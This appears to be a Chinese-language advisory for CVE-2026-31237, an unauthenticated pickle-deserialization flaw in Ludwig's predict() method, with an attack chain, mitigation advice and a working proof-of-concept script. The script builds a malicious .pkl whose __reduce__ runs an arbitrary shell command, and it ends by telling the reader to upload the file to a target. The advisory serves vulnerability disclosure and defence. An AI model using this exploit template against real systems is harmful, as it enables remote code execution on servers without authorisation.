CVE-2026-31237 CVSS 9.8 严重

CVE-2026-31237 Ludwig框架不安全反序列化漏洞

披露日期: 2026-05-12

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-31237

漏洞类型

不安全反序列化

CVSS评分

9.8 严重

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Ludwig framework

漏洞概述

Ludwig框架在0.10.4及之前的版本中存在严重的安全漏洞。该漏洞源于其predict()方法在处理用户提供的文件路径时，未能对文件内容进行充分的安全验证。当系统加载恶意的pickle（.pkl）文件时，由于使用了不安全的pandas.read_pickle()函数，攻击者可以利用该漏洞触发不安全的反序列化过程。这不仅破坏了系统的完整性，还可能导致远程攻击者在受害者服务器上执行任意恶意代码，造成严重的敏感数据泄露或系统完全被控。

技术细节

该漏洞的核心机制源于Python标准库中的pickle模块在设计上缺乏安全性，允许在反序列化对象时执行任意代码。Ludwig框架的predict()方法旨在接受用户提供的数据集文件路径，并根据文件扩展名自动解析格式。然而，在0.10.4及之前版本中，当文件被识别为pickle（.pkl）格式时，框架直接调用了pandas.read_pickle()函数进行加载，完全绕过了任何形式的数据校验或沙箱限制。在利用过程中，攻击者可以构造一个恶意的pickle文件，该文件中封装了通过__reduce__方法定义的系统命令（如反弹Shell或写入Webshell）。当受害者调用predict()方法处理该恶意文件时，底层逻辑会触发反序列化操作，导致恶意代码在Ludwig进程的上下文中被执行。由于CVSS向量显示攻击无需认证（PR:N）且无需用户交互（UI:N），这使得攻击者能够通过网络（AV:N）轻易地发起攻击，从而完全控制受影响的主机。

攻击链分析

STEP 1

侦察

攻击者发现目标系统正在使用Ludwig框架及其predict()接口。

STEP 2

武器化

攻击者编写Python脚本，利用pickle的__reduce__方法构造包含恶意系统命令的.pkl文件。

STEP 3

交付

攻击者将生成的恶意pickle文件上传到目标服务器可访问的位置，或诱导用户使用该文件路径。

STEP 4

利用

攻击者调用Ludwig的predict()方法，并将恶意.pkl文件的路径作为参数传入。

STEP 5

执行

Ludwig使用pandas.read_pickle()加载文件，触发反序列化，导致恶意代码在服务器上执行。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import pickle
import os

# Define a class that represents the malicious payload
class ExploitPayload:
    def __reduce__(self):
        # This tells pickle to execute os.system when deserializing
        # You can change 'touch /tmp/pwned.txt' to any arbitrary command
        return (os.system, ('touch /tmp/pwned.txt',))

# Serialize the payload object into a pickle file
malicious_data = pickle.dumps(ExploitPayload())

# Save the malicious pickle file
filename = 'exploit_dataset.pkl'
with open(filename, 'wb') as f:
    f.write(malicious_data)

print(f"[+] Malicious pickle file '{filename}' generated successfully.")
print(f"[+] Upload this file to the target and trigger it via Ludwig's predict() method.")

影响范围

Ludwig framework <= 0.10.4

防御指南

临时缓解措施

建议立即将Ludwig框架升级到最新版本以修复此漏洞。如果暂时无法升级，应严格限制对predict接口的网络访问，并确保仅处理可信的数据源文件，避免加载任何外部提供的.pkl格式数据集。

参考链接

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